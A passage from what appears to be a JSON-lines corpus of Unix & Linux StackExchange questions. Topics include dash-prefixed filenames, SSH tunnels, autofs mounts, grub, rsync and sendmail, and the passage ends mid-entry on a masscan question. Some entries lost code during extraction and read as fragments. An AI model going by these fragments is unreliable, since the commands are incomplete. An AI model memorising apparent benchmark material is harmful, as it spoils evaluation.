files on two \"nodes\" taking into account all these proxy and fixed university ipadress configurations for the outer network on eth1? SSH is working just fine on this subnet. My \"server\" can access Internet as well. I'm reading this tutorial. May be I misconfigured all these DHCP, NSF, NAT etc though I've never touched them directly and SSH is working just fine across this subnet."} {"_id": "13323", "title": "Why can't I pgrep a process?", "text": "$ ps aux | grep -i ssh USER 4364 0.0 0.0 9004 1032 ? Ss 12:20 0:00 ssh -v -fND localhost:4000 USERNAME@SERVER-IP-ADDRESS $ pgrep localhost:4000 Why doesn't this work?"} {"_id": "38850", "title": "Is there any command-line, generic HTTP proxy (like Squid)?", "text": "I can easily use Netcat (or, Socat) to capture traffic between my browser and a specific host:port. But for Linux, does there exist any command-line counterpart of a Squid-like HTTP proxy that I can use to capture traffic between my HTTP client (either browser or command-line program) and any arbitrary host:port?"} {"_id": "13329", "title": "In GNOME 3, how does one assign keyboard shortcuts for applications besides the default applications?", "text": "In GNOME 3, there's a facility to assign keyboard shortcuts for applications like your default browser, default email client, default terminal etc. How do I do this for other applications?"} {"_id": "38857", "title": "Retrieve deleted files on Linux VM guest", "text": "I use Ubuntu on VMware to learn how to use Linux. I used `rm` on some folders and mistakenly deleted some files from `/etc`. I have some very important files on it. Is there a way to retrieve that files, for example using Knoppix? If yes, how I can do it?"} {"_id": "90398", "title": "Problems in installing firefox 23 on centos 6.3 ( libpangoft2-1.0.so.0)", "text": "XPCOMGlueLoad error for file /home/xd/firefox/firefox/libxul.so: libpangoft2-1.0.so.0: cannot open shared object file: No such file or directory Couldn't load XPCOM. I cannot find a way to install libpangoft2-1.0.so.0 After searching, it _seemed_ to me that the library will be in the pango package. Accordingly, I tried yum install pango but get this Package pango-1.28.1-7.el6_3.x86_64 already installed and latest version Nothing to do How do I get this installed. PS: It is surprising that centos 6.3 needs to be upgraded to install firefox 23. I had to install libstdc++.i686, dbus-glib.i686 and it seems I have to install some more to get this browser to work. Same results with chrome"} {"_id": "90399", "title": "Difference between urxvt -e and xterm -e", "text": "Create an executable file `file1` as follows: cat > file1 < file2 < file3 < 1. Install autofs > > 2. Comment out entire /etc/auto.master > > 3. Create new /etc/auto.cifs file with contents similar to auto.smb (full > contents at link above) > > 4. _chmod 755 /etc/auto.cifs_ > > 5. Add line /etc/auto.master: _/mnt /etc/auto.cifs --timeout=0_ > > 6. Create file /etc/auto.smb.fileserver01 with credentials: > username=domain/username password=password (also tried without domain, exact > same symptoms) > > 7. _chmod 400 /etc/auto.smb.fileserver01_ > > 8. Add fileserver01 to /etc/hosts > > I have supplied AutoFS with a full Domain Admin account for initial build and testing. **The Problem** The CIFS share mounts in _/mnt/fileserver01_ and I can see the contents of the share's root directory, but when I try to navigate inside any of the directories I receive the message: > bash: cd: /mnt/fileserver01/sharename: No such file or directory There aren't any particular errors showing up inside _/var/log/messages_. _Note: I'm new to Linux server administration, dusting off 10-year-old weekend classes in Debian CLI, so for answers and questions please be explicit in what I need to enter into the terminal._"} {"_id": "140346", "title": "Can be for multiple virtual hosts in httpd.conf?", "text": "I have 5 virtual hosts in `httpd.conf`. All of them have the configuration below except for one. Order Deny,Allow Deny from all Allow from IP.ADDRESS.GOES.HERE I think it would be better to tell all virtual hosts to have this except for one. Currently, I am telling each virtual host one by one to have this. Is there a wild card method to apply this setting to all virtual hosts and then remove this stanza from one of the virtual hosts in `httpd.conf`?"} {"_id": "136646", "title": "What is type 'none' for mount points and why are mount points of the same type below /run?", "text": "In Ubuntu 14.04 when executing command mount I get following excerpt tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) none on /run/user type tmpfs (rw,noexec,nosuid,nodev,size=104857600,mode=0755) I do not understand why subdirectories of `/run` are mounted separately inside already mounted parent directory (`/run`) and what `none` filesystem means. My `/etc/fstab` file is empty."} {"_id": "140344", "title": "/etc/sysctl.conf Fedora {17-20}?", "text": "Since Fedora 16 or 17 there no longer file `/etc/sysctl.conf`. How do I setup `net.ipv4.ip_forward = 1`?"} {"_id": "140342", "title": "Convert xml subtitle file to srt format", "text": "I have a xml subtitle that looks like this: It seems that `\"]]>\"` always spreads to a new line. Would there be a way to convert this to srt format?"} {"_id": "152429", "title": "Search in mutt by date and time", "text": "I've been using `mutt` for some days now, and I think I have the basics by now. I'm able to search messages by date (`l`, `~d date ...`) but what I need is to also search by time. Is it even possible?"} {"_id": "101328", "title": "What does this regex mean?", "text": "I was working on the conversion of Unix newline to Windows newline. I tried to unix2dos but it gave me some binary error, so I looked it up and stumbled upon this regex sed 's/$'\"/`echo \\\\\\r`/\" input.txt > output.txt This regex is working but I have got no clue, how is it working? Obviously I am trying to interpret it through this form sed 's/a/b/' Here > a refers $'\" which I don't understand. > and b refers `echo \\\\\\\\\\r` which means '\\r' Also I don't understand why/how combination of single and double quote is being used? Can anyone explain this regular expression to me?"} {"_id": "80264", "title": "Searching multiple mysql tables for the same 2 fields in each table", "text": "I am trying to figure out how to search mysql tables for the same 2 fields. What I have is 2 tables in the same database. Below is what I have currently:- single search works ok SELECT * FROM `table1` WHERE `acked` != 1 AND `host_status` = 'HOSTDOWN' returns results which is good and expected. Whereas trying to combine the 2 tables searching for the same although it does not error up, but at the same does not return any results which I can kind of understand as I am using 'AND' SELECT `table1`.*, `table2`.* FROM table1, table2 WHERE (`table1`.`acked` != '1' AND `table1`.`host_status` = 'HOSTDOWN') AND (`table2`.`acked` != '1' AND `table2`.`host_status` = 'HOSTDOWN') But if I use the following using 'OR' I get results but not the expected results, I also get the acked value of 1 and 0 but with the host_status of HOSTUP SELECT `table1`.*, `table2`.* FROM table1, table2 WHERE (`table1`.`acked` != '1' AND `table1`.`host_status` = 'HOSTDOWN') OR (`table2`.`acked` != '1' AND `table2`.`host_status` = 'HOSTDOWN') any pointers?"} {"_id": "80267", "title": "'setfacl' permissions don't apply to directories created by git clone?", "text": "Here's how I am setting permissions for my website's root directory i.e. `~/public_html`, where the files that my website serves are placed: sudo chgrp -R www-data ~/public_html chmod g+s ~/public_html chmod g+rwx ~/public_html setfacl -m d:g:www-data:rwx ~/public_html * **Command #1** gives \"www-data\" group ownership access to `~/public_html`; * **#2** sets the group ID, so that all new directories/files within are also owned by \"www-data\" group * **#3** sets access permissions for the group \"www-data\" on the directory to 775; * **#4** makes sure that the same apply to all new directories/files created within `~/public_html`. It's working great, as it should. All new created directories and files inherit the forced permissions. The problem is with directories created by `git clone` (after I do `cd ~/public_html && git clone ....`). **UPDATED:** The directory **DOES** inherit the group ID (i.e. \"www-data\" owns the newly created directory), **BUT NOT** the access permissions (775 for directories and 664 for files). Also, it's just the top-level directory that git creates. Every directory and file withing inherit permissions just as they should. Could it be that the Debian git package doesn't have the fix for this bug yet? What am I doing wrong? Rather, how exactly should I be doing it?"} {"_id": "80266", "title": "how to upgrade software/program in fedora", "text": "I have valgrind on my computer which is with fedora OS. But it is with a old version. I want to upgrade it to a new version. my system is fedora 16. valgrind version: 3.6.1. I want to upgrade it to 3.8.1. It was installed by SA. I don't know how they installed it how to upgrade it?"} {"_id": "80260", "title": "exiting from webbrowser on debian(without GUI)", "text": "I fired up Debian 64 bit on a virtual machine and I did not download the GUI package.(partly because it took just too much time and partly because i wanted to experience the command line!). Anyway, I am here and then I go into python and do this: >>> import webbrowser >>> webbrowser.open('www.google.com') And Now I am looking at a coloured(text only) page of Google like so: ![](http://i41.tinypic.com/2uy4won.png) I can see two text fields here. I wanted to ask the following two questions: 1. where do I enter the search thread? 2. How do I exit this so as to go back to the command line? **please** help me with this query. (P.S.: I am loving the command line and really think that the people who created programs on this were the real programmers. They could not run the program they write the thousands of time that we do now for debugging and at the same time created great applications. Hats off to those guys!)"} {"_id": "1519", "title": "How do I delete a file whose name begins with \"-\" (hyphen a.k.a. dash or minus)?", "text": "How do you remove a file whose filename begins with a dash (hyphen or minus) `-`? I'm ssh'd into a remote OSX server and I have this file in my directory: tohru:~ $ ls -l total 8 -rw-r--r-- 1 me staff 1352 Aug 18 14:33 --help ... How in the world can I delete `\\--help` from a CLI? This issue is something that I come across in different forms on occasion, these files are easy to create, but hard to get rid of. I have tried using backslash rm \\-\\-help I have tried quotes rm \"--help\" How do I prevent the minus (dash or hyphen) character to be interpreted as an option?"} {"_id": "116462", "title": "How do I delete a unfortunately named folder?", "text": "In an unfortunate series of events, I happened to create a folder named `\\--bindir=`. Thing is, I cannot `cd` to him because when I try to `cd` I get this message: bash: cd: --: invalid option cd: usage: cd [-L][-P [-e]]] [dir] I also get similar messages for other binaries I am executing with that as a parameter, e.g `rm -rf`, `rmdir`, `ls` etc. I know this sounds funny, and like those epic fail stories, but I would be glad if you could propose a fix, because I'm all out of them. As a post of proof that I am not trolling or anything, here is a picture of that epic fail: ![enter image description here](http://i.stack.imgur.com/F59yH.png)"} {"_id": "39094", "title": "Linux Rename File Beginning with \"--\"", "text": "> **Possible Duplicate:** > How do I delete a file whose name begins with \"-\" (hyphen a.k.a. dash or > minus)? This is an awkward one, I have received some files from a windows machine which have been named things like \"----index.html\" When I try to grep hello * in a directory containing these files I get grep errors and when I try to mv ----index.html index.html there are similar errors: mv: unrecognized option '----index.html' Try `mv --help' for more information. Can anyone shed any light on this? Thanks"} {"_id": "22812", "title": "How can I create a empty file whose name begins with a dash?", "text": "How can we create a empty file with the unix name `-stuff`. It means the name start with `-`. I tried with `touch -stuff` but it didn't work."} {"_id": "18634", "title": "Handling an option-like filename in the shell", "text": "> **Possible Duplicate:** > How do I delete a file whose name begins with \"--\"? Due to mismatched switches when I was trying to run a command, I have a log file named `-w` in a directory. I want to see its contents with `cat` (or `less`) and then delete it. I've tried escaping it with backslashes, single-quotes, double-quotes, parentheses, and backticks, but `cat` always complains that `w` is an unknown option. How can I properly reference this file?"} {"_id": "52425", "title": "Why do many CLI apps take a single \u201c--\u201d argument?", "text": "> **Possible Duplicate:** > What does \u201c--\u201d (double-dash) mean? There are many command line tools that take a single \"--\" argument. For example: gem install mysql -- \u2014\u2013with-mysql-config=/usr/local/mysql/bin/mysql_config It seems to be used as some kind of separator. Does it have a special meaning? Is it a commonly used idiom? If so, what's its purpose? PS: I'm not talking about arguments of the form `\\--argument`, I'm talking about when you have a `\\--` followed by white characters and other arguments."} {"_id": "80121", "title": "How can I remove a file called \"--help\" with bash command line?", "text": "I've somehow managed to create a file with the name \"--help\". If I try to remove the file using \"rm\" funny stuff happens. Please help here's a printout of the dir listing: [pavel@localhost test]$ ls -la total 3640 drwxrwxr-x. 5 pavel pavel 4096 Jun 19 18:33 . drwxrwxr-x. 6 pavel pavel 4096 Jun 9 12:23 .. -rw-rw-r--. 1 pavel pavel 1070592 Jun 12 09:40 --help"} {"_id": "55969", "title": "What does - mean with association to Linux files and directories", "text": "> **Possible Duplicate:** > What does \u201c--\u201d (double-dash) mean? What does '--' (two dashes) mean with association to Linux files and directories. I've found something else but not too sure if it is correct and relates to the same thing. \"Another convention is to use '--' (two dashes) to indicate the end of flags, and the beginning of file names.\""} {"_id": "59119", "title": "deal with file names with \"-\" as beginning on linux", "text": "> **Possible Duplicate:** > How do I delete a file whose name begins with \u201c-\u201d (hyphen a.k.a. dash or > minus)? I'm using linux I have some files with file names like -0fdlfld -xfifd I want to delete them using shell \"rm\" but it doesn't work are there anyways to deal with such file names? thanks!"} {"_id": "52167", "title": "What does \"--\" mean in Linux/Unix command line?", "text": "> **Possible Duplicate:** > What does \u201c--\u201d (double-dash) mean? `git diff [options] [] [--] [\u2026]` In here, how should I understand what [--] means? And when should I use it."} {"_id": "24275", "title": "What good are the signs '-' (minus) in any Linux/UNIX commands?", "text": "> **Possible Duplicate:** > What does \"--\" (double-dash) mean? > Single dashes `-` for single-character options, but double dashes `\\--` for > words? I was reading the man zip page and I found this examples: [...] using the command **unzip -p backup | tar xf -** When [...] For example, **tar cf - . | zip | dd of=/dev/nrst0 obs=16k** is equivalent to **tar cf - . | zip - - | dd of=/dev/nrst0 obs=16k** I' like know the minus utility of these cases. Why two minus signs are written in the third case?"} {"_id": "94309", "title": "zip a directory that name start with `-`", "text": "How can I zip a directory like `-foo`? `$ zip \"-foo\" \"-foo\"` shows only help page. I think `-foo` is recognized as a options, but I don't know how to solve it."} {"_id": "84815", "title": "how to remove a file named \"-f\" from the command-line?", "text": "Here are some options a) rm -f b) rm \"-f\" (double quotes) c) rm '-f' (single quotes) d) all of the above e) none of the above"} {"_id": "11376", "title": "What does \"--\" (double-dash) mean? (also known as \"bare double dash\")", "text": "I have seen `\\--` used in the `compgen` command. For example: compgen -W \"foo bar baz\" -- b What is the meaning of the `\\--`."} {"_id": "87355", "title": "Why cat, grep and other commands can't understand files starting with minus sign?", "text": "If I have a file which name starting with single or several minus sign, for example `\\--1` it can't be used as a parameter of many commands. Even if I run cat --1 instead of file content I get unrecognised option error message: cat: unrecognized option '--1' Same effect appears when I type cat \"--1\" cat '--1' cat \\-\\-1 nothing works. Files starting with '-' is not illegal in file system, but it is quite hard to work with them in cli and scripts. OK, in case of `cat` or `grep` I can use cat <--1 and this will work, but rm --1 won't work either and it is quite hard to substitute this command with something else. Very uncomfortable after all. Is there any universal workaround different from not using such file names? BTW, if name file is single `-` and all most of commands will understand it as `stdin`, wouldn't they? And it would be hard not to use such file names since I can't rename them all in script using `mv` command either."} {"_id": "152578", "title": "Why do we use double hyphen in \"tar --anchored\" and single hyphen in \"tar -b\"?", "text": "Why do we use double hyphen in `tar --anchored` and single hyphen in `tar -b`? I mean to say why some command line options have single hyphen (-) while some others have double (--)? Also a `git` example: git commit --amend git commit -a"} {"_id": "73138", "title": "delete file with name --help.tgz", "text": "I have file with name `\\--help.tgz`. I want to delete but don't know how. I tried `rm \"--help.tgz\"`, `rm \\\\-\\\\-help.tgz` and it did not work. How can I delete a file with such name?"} {"_id": "59082", "title": "How to remove/rename file which contains special character eg. \"-x\" using command line", "text": "> **Possible Duplicate:** > What does \u201c--\u201d (double-dash) mean? Can anybody explain me below things i have file named \"-xyz\". if i try to remove or move that file using command line , it's unable to move. i tried below things : [rahul@srv100 ~]# ls -lrt -- \"-xyz\" -rw-r--r-- 1 rahul rahul 0 Dec 19 08:06 -xyz [rahul@srv100 ~]# mv \"-xyz\" xyz mv: invalid option -- x Try `mv --help' for more information. [rahul@srv100 ~]# mv \\-xyz xyz mv: invalid option -- x Try `mv --help' for more information. [rahul@srv100 ~]# mv -\\xyz xyz mv: invalid option -- x Try `mv --help' for more information. [rahul@srv100 ~]# mv '-xyz' xyz mv: invalid option -- x Try `mv --help' for more information. finally i rename that file using winscp, and after trying multiple ways i got one option and it's working. mv -- '-xyz' xyz Wish the help of \"--\", i created file/directory as below mkdir -- --abc touch -- -xyz So my Question is what is this \"--\" in bash ? Please explain."} {"_id": "21852", "title": "Single dashes `-` for single-character options, but double dashes `--` for words?", "text": "Where did the convention of using single dashes for letters and doubles dashes for words come from and why is continued to be used? For example if I type in `ls --help`, you see: -a, --all do not ignore entries starting with . -A, --almost-all do not list implied . and .. --author with -l, print the author of each file -b, --escape print octal escapes for nongraphic characters --block-size=SIZE use SIZE-byte blocks -B, --ignore-backups do not list implied entries ending with ~ ... I tried googling `\\- and -- convention` even with quotes with little success."} {"_id": "3877", "title": "How can I grep through files whose name begins with `-`?", "text": "I've tried this. grep -r thanks * slave-iv grep: invalid option -- '@' Usage: grep [OPTION]... PATTERN [FILE]... Try `grep --help' for more information. Here's what the directory looks like. They're log files from pidgin. ls -1 -100000139702926@chat.facebook.com -100001138571192@chat.facebook.com -1021869012@chat.facebook.com -12120618@chat.facebook.com -1251570038@chat.facebook.com -1269333626@chat.facebook.com -1394365872@chat.facebook.com -1657581332@chat.facebook.com -211203163@chat.facebook.com -505152641@chat.facebook.com -549333601@chat.facebook.com -557177029@chat.facebook.com -573222477@chat.facebook.com -584051302@chat.facebook.com -65000319@chat.facebook.com -663869224@chat.facebook.com -664953132@chat.facebook.com -755682783@chat.facebook.com"} {"_id": "28701", "title": "Accidently created a file called -X, how can I delete it?", "text": "> **Possible Duplicate:** > How do I delete a file whose name begins with \"-\" (hyphen a.k.a. dash or > minus)? Like an idiot, I ran this command: tar -cf -X awstats-icon icon tarfile.tar . I was trying to use the -X switch to exclude awstats-icon and icon directories. Now I have a large file named -X and I cannot seem to delete it. I tried using: rm -X rm `-X` rm '-X' However none of these have worked. Any suggestions?"} {"_id": "101320", "title": "SSH will not make a local connection without password prompt", "text": "While trying to set up a loop back ssh I am getting prompted for a password after a pub key install, this is a CentOS 6.4 server. ssh_config (`grep -v ^# /etc/ssh/sshd_config | grep -v ^$`) is here: http://pastebin.com/Wg6iuL3x The two users involved are root and git # clean root dir cd ~/.ssh/ && rm -f $(ls | grep -i 'rsa\\|dsa') echo '' > known_hosts # clean git dir /home/git/.ssh/ && rm -f $(ls | grep -v 'authorized_keys') chmod 0700 /home/git/.ssh && chmod 0600 /home/git/.ssh/authorized_keys echo '' > authorized_keys # back to root ssh-keygen -f ~/.ssh/git_dsa -t dsa -N '' cat ~/.ssh/git_dsa.pub >> /home/git/.ssh/authorized_keys ssh -vvv git@localhost git@localhost's password: ... Here's the `-v` log debug1: Next authentication method: publickey debug1: Offering public key: git.rsa debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Offering public key: git.dsa debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Trying private key: /root/.ssh/identity debug1: Trying private key: /root/.ssh/id_rsa debug1: Trying private key: /root/.ssh/id_dsa debug1: Next authentication method: password The `-vvv` log is here: http://pastebin.com/j7iGvvMH **NOTE** this does not look like its seeing/recognizing the git_dsa.pub key, I'm sure that is the root of the problem?"} {"_id": "20125", "title": "Change permissions for LEDs (e.g. ThinkLight) with udev", "text": "/edit/ Getting the question more generic: **How can I change the permissions to alter the state of a LED/light using`udev`?** \\edit\\ * * * I've got a Thinkpad and would like to use the ThinkLight (the white flash light above the screen designed to light up the keyboard) for notifications on incoming Jabber messages. It is easy to realise as one only needs to change `/sys/class/leds/tpacpi::thinklight/brightness` to 255. I'll do it with a simple Bash script, which will let the light blink for three times. But to be able to do this, I need to change the permissions, that not only root is able to change this file. And I do not want to `sudo chmod o+w /sys/class/leds/tpacpi::thinklight/brightness` after each and every boot. I think, the best solution is using `udev` for this. However, I've never used `udev` before and I'm quite confused by the tutorials I found online. I tried this `udev` rule: KERNEL==\"tpacpi::thinklight\", MODE=\"0666\" as well as KERNEL=\"thinklight\", MODE=\"0666\" But it does not work. Though I'm not getting errors while running `udevadm test /class/leds` Thanks for any help and hits. Or maybe other solutions."} {"_id": "48656", "title": "Install Linux on two hard drives", "text": "I am new to Linux. I have a machine with two hard drives, the first one has 80GB and the second has 120GB. I am about to format this machine and install Linux. I want to install all the main partitions (`/`,`/boot`,`/usr/`, etc..) on the first HD (`sda`) and mount the `/home` and `/var` partition on second disk (`sdb`). Is this possible by specifying the partitions manually (if so, how?) or is this done automatically? I am installing Ubuntu 12.04. Also, I won't do it but there is any problem to place `/boot` on the second HD?"} {"_id": "146350", "title": "How do I hide grub boot menu unless shift is pressed?", "text": "I've read the forum but it seems my grub boot menu doesn't follow the form of the config file. I would like the menu to not appear unless `Shift` is pressed. My grub menu appears every boot and stays there until you select a menu item. My current `/etc/default/grub` is: GRUB_DEFAULT=0 GRUB_HIDDEN_TIMEOUT=3 GRUB_HIDDEN_TIMEOUT_QUIET=true GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash nomdmonddf nomdmonisw\" GRUB_CMDLINE_LINUX=\"\" GRUB_FORCE_HIDDEN_MENU=\"true\" export GRUB_FORCE_HIDDEN_MENU (I've tried the `true`'s with both quotes and no quotes, it makes no difference) I've also done `update-grub` and `update-grub2`. Can anyone please tell me why, when my system boots, it just sits at a Grub menu? It's a headless system which isn't good as I have to add a keyboard to get it to reboot. This is not a dual-boot system."} {"_id": "20121", "title": "How to disable emacs here document completion", "text": "When editing a bash script file with emacs, and trying to enter `<<<`, at the second `<` emacs insert a template for a here document, like in the following example: < $ php public_html/bashtest.php hello sh: bp: command not found sh: br: command not found $ wget server/bashtest.php 23:35:13 (759.55 KB/s) - `bashtest.php' saved [7/7] $ cat bashtest.php hello! So it seems that `.bashrc` is never read and `.bash_profile` is only read from the CLI (not from PHP either on the user's CLI nor through Apache). Furthermore, through Apache the \"command not found\" text isn't even returned! Is this expected behaviour (i.e. am I misinterpreting `man bash`) or is something amiss?"} {"_id": "48659", "title": "How to get the PID from a spawned process in expect?", "text": "Example: In a shell script I open a SSH tunnel whit this: /usr/bin/expect <>filelisting.log 2>>errlisting.errlog 2. Incremental tar per day: mtx -f /dev/sg1 load X #(load correct tape) mt -f /dev/nst0 eod #(forward to end of data to write a new incremental tar) tar --exclude=.zfs \\ --listed-incremental=file.index \\ --label=incremental_DS01 \\ -czvf /dev/nst0 \\ /mnt/storage/sharename >>filelisting.log 2>>errlisting.errlog 3. Repeat incremental tars. using the same process as in 2 so I always use the level 0 listed-incremental wich is adapted every time. This should mean that I always backup the files that have changed since my previous incrmental update. (as opposite to differential where you always compare with the full update) **Problem:** After a few iterations, the incrementals start to fail, meaning: the backup runs but it seems to think that ALL the files have been changed and it does a full backup in fact. This happened in different datasets. How can I troubleshoot this? And how is this possible? All seems to run well and then it thinks that all files have changed? for clarity: 1. the dataset is a readonly mountpoint 2. the folder structure is the same as in the full backup 3. the upper folder name has not changed How can I solve this issue?"} {"_id": "124530", "title": "Universal Access System Settings keep resetting after reboot", "text": "I am using Elementary OS Luna and each time I reboot my computer, the Universal Access settings keep getting reverted to the following state: ![enter image description here](http://i.stack.imgur.com/GYDIq.png) I do not want the Sticky Keys feature so I disable it, but after the next reboot the feature is enabled again. What can I do save my Universal Access settings so they do not get reverted after a reboot?"} {"_id": "44713", "title": "Can I configure bash to execute \"clear\" before every command typed in the console?", "text": "I would like to configure bash to execute `clear` command every time I type some command in the terminal (before executing my command). How can I do that? I'm using Debian Linux."} {"_id": "44716", "title": "awk-Printing column value without new line and adding comma", "text": "input.txt EN1 EN2 EN3 EN4 EN5 output EN1,EN2,EN3,EN4,EN5 I have tried awk.But it is not printing with comma awk 'BEGIN { OFS = \",\"} { printf $1}' input.txt I have GNU Awk 4.0.0 version"} {"_id": "44718", "title": "Assigning awesome keybinding for more than 9 tags", "text": "I'm using the awesome WM and the nine default tags (or \"virtual desktops\") are not anywhere near enough for me: I've got a lot of VMs and remote VNCs etc. In the past I've used window managers with about 20 virtual desktops and that was about right. But now that I tried _awesome_ there's no way I'm ever going back to a non-tiling WM ; ) I managed to create more than nine tags in awesome by changing this line from my _rc.lua_ : tags[s] = awful.tag({ 1, 2, 3, 4, 5, 6, 7, 8, 9 }, s, layouts[1]) to this: tags[s] = awful.tag({ 1, 2, 3, 4, 5, 6, 7, 8, 9, \"a\" }, s, layouts[1]) However I really don't understand how to add a keybinding so that I can directly switch to this new tag. I'd like to point out that going to the tag '9' and then 'going to the next tab' works perfectly, but I'm looking for a direct shortcut. Every single thing I tried ended up in _awesome_ basically either being unusable or defaulting to the default config. For example I tried a lot of variations on this: awful.key({ modkey, }, \"a\", awful.tag.viewidx XXX, but they all miserably failed. Note that seen that my lua-fu is not strong I'd need not only the exact line that would work but also a very precise location as to where I could put that line in my _rc.lua_ file. **EDIT** There's obviously some SNAFU when it comes to viewidx's documentation which does not match what the code does as I've found patches and mailing-list activity related to this issue. Yet I'd like to know what needs to be done to solve my problem..."} {"_id": "118887", "title": "Dell Latitude D630 Wireless Problem on Mint?", "text": "I've recently acquired a used Dell Latitude D630 and have put Mint on it. Everything seems to be operational except for the wireless. First, I don't know if the wireless card actually works (Ethernet does) and if it does, Mint is not recognizing it. I haven't figured out how to identify the card in Linux, so I am clueless as to what driver I actually need to download and install. Thanks in advance! * * * P.S., just saw this post and this page, and here is my results: > lspci | grep net 09:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5755M Gigabit Ethernet PCI Express (rev 02) > ip link 1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: mtu 1500 qdisc mq state UP mode DEFAULT qlen 1000 link/ether 00:21:70:ae:40:d4 brd ff:ff:ff:ff:ff:ff > inxi -N Network: Card-1: Broadcom BCM4312 802.11b/g LP-PHY driver: b43-pci-bridge Card-2: Broadcom NetXtreme BCM5755M Gigabit Ethernet PCI Express driver: tg3 Not sure how this helps me, but I'm sure someone out there knows how to find what I need (and/or much appreciated if you can tell me what part I need to be looking at). Thanks!"} {"_id": "118880", "title": "Should I use \"apt-get remove\" or \"apt-get purge\"?", "text": "For uninstalling an app (or package) should I use `apt-get remove package- name` or `apt-get purge package-name`? What is advantage of any of them to other one?"} {"_id": "118883", "title": "Basic rsync command for bit-identical copies", "text": "As far as I undstand, the following command: sudo rsync --delete -azvr /home/oshiro/Desktop/source/ /home/oshiro/Desktop/destination Is this all I need to create a simple synchronisation of files from 1 location to another? Or does the above command do anything more in the background which I don't know about? For example, does it create some sort of versioning, where I can specify a past time to get files how where were in the passed? That's a feature which I do not want to enable at this stage. All I want is bit-identical copy of the files from 1 location to another. Can I get rid of any of those parameters or do I need to add further parameters to make the copies bit-identical with no versioning. Basically, I don't want to create backups how the mac time machine backup system creates backups."} {"_id": "85169", "title": "Issue with path to .so libraries", "text": "I have an issue with path to .so files. I have a server with two accounts user1 and user2. There is wget program, that is installed to user1 and I need it from user2. When I run it from user2 I get an error: /export/apps/user1/local/bin/wget http://.... ld.so.1: wget: fatal: libiconv.so.2: open failed: No such file or directory I checked output of ldd util for user1 (application works as expected): ldd /export/apps/user1/local/bin/wget libiconv.so.2 => /usr/local/lib/libiconv.so.2 For user2: **libiconv.so.2 => (file not found)** I updated LD_LIBRARY_PATH LD_LIBRARY_PATH=:/usr/sfw/lib:/export/apps/user1/local/lib: **/usr/local/lib** But after it I have the same problem. How can I fix it? Please note that I don't have admin access to this server and it is better to avoid modification of system-wide config files and solve this issue using non-root permissions."} {"_id": "139750", "title": "Bash script for running python virtual environment does not execute", "text": "I am trying to wrap the following call into a script, which runs my Python virtual environment: [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ source /home/lucas/Dropbox/projects/competitive-programming/kaggle/venv/ipython-notebook/bin/activate (ipython-notebook) [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ deactivate [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ So, I created and ran the following bash script: [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ cat venv_python3.sh #!/bin/bash # /usr/bin/env bash echo \"starting python3 venv\" source /home/lucas/Dropbox/projects/competitiveprogramming/kaggle/venv/ipythonnotebook/bin/activate [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ venv_python3.sh starting python3 venv [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ As you can see, it executes the `echo` call, but does not start my virtual environment. Am I missing something? I've looked over several tutorials, but cannot find what is missing. Also, my `/home/lucas/bin/`, the location of my script, is in my `$PATH`. Here are the file's permissions: [lucas@lucas-ThinkPad-W520]/home/lucas/bin$ ls -la total 52 drwxr-xr-x 3 lucas lucas 4096 Jun 28 23:14 . drwxr-xr-x 79 lucas lucas 4096 Jun 28 23:13 .. -rwxrw-r-- 1 lucas lucas 164 Jun 28 23:13 venv_python3.sh"} {"_id": "139752", "title": "Sendmail not masquerading email \"Received:\" headers", "text": "I followed the instructions from NixCraft site and try to masquerade my emails with the following configuration: MASQUERADE_AS(example.com)dnl FEATURE(masquerade_envelope)dnl FEATURE(masquerade_entire_domain)dnl MASQUERADE_DOMAIN(example.com)dnl and added the following also: MASQUERADE_DOMAIN(localhost)dnl MASQUERADE_DOMAIN(localhost6.localdomain6)dnl MASQUERADE_DOMAIN(mail.server)dnl I did a test with: $ echo \"Subject: test From: no-reply@example.com test\" | sendmail -v -fuser@example.com -O NoRecipientAction=add-to check-auth@verifier.port25.com and this is what I receive in the header: Return-Path: Received: from mail.server (my.ip.add.ress) by verifier.port25.com id abcd1234 for ; Sun, 29 Jun 2014 01:23:45 -0400 (envelope-from ) ..... Received: from mail.server (localhost6.localdomain6 [127.0.0.1]) by mail.server (8.14.8/8.14.8) with ESMTP id s5T5XgSa003053 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 29 Jun 2014 12:34:56 +0800 Received: (from root@localhost) by mail.server (8.14.8/8.14.8/Submit) id s5T5XfHR003052 for check-auth@verifier.port25.com; Sun, 29 Jun 2014 12:34:56 +0800 As can be observed, `mail.server`, `localhost` and `localhost6.localdomain6` are still showing up in the Received line. What more should I do to get Sendmail masquerading to work properly."} {"_id": "125482", "title": "Printing in awk up to specific line and 5 more results", "text": "I'm trying to print out all the lines up to the appearance of a particular song and 5 more songs with that. The problem i'm new to the shell what I have to fix in the bellow commands? RANK NAME BAND YEAR GENERE DOMESTIC/INTERNATIONAL 206:Reach Out, I'll Be There:The Four Tops:1978:Pop:3/2 207:Bye Bye Love:The Everly Brothers:1950:Classic:3/2 208:Gloria:Them:1965:Classic:1/1 209:In My Room:The Beach Boys:1985:Classic:5/7 210:96 Tears:? & the Mysterians:1964:Classic:20/15 211:Caroline, No:The Beach Boys:1975:Classic:5/7 212:1999:Prince:1958:Classic:5/7 213:Your Cheatin' Heart:Hank Williams:1988:Soul:7/6 awk '{print * \"For What It's Worth\"} ' songs awk '/For What It's Worth/, {print $1 $2}' songs"} {"_id": "140420", "title": "masscan. how to configure Linux?", "text": "I've set this in my `sysctl.conf`: net.netfilter.nf_conntrack_max=268435456 Because, this border `16,777,216` achieved very quick. Also, I've decrease timeouts: 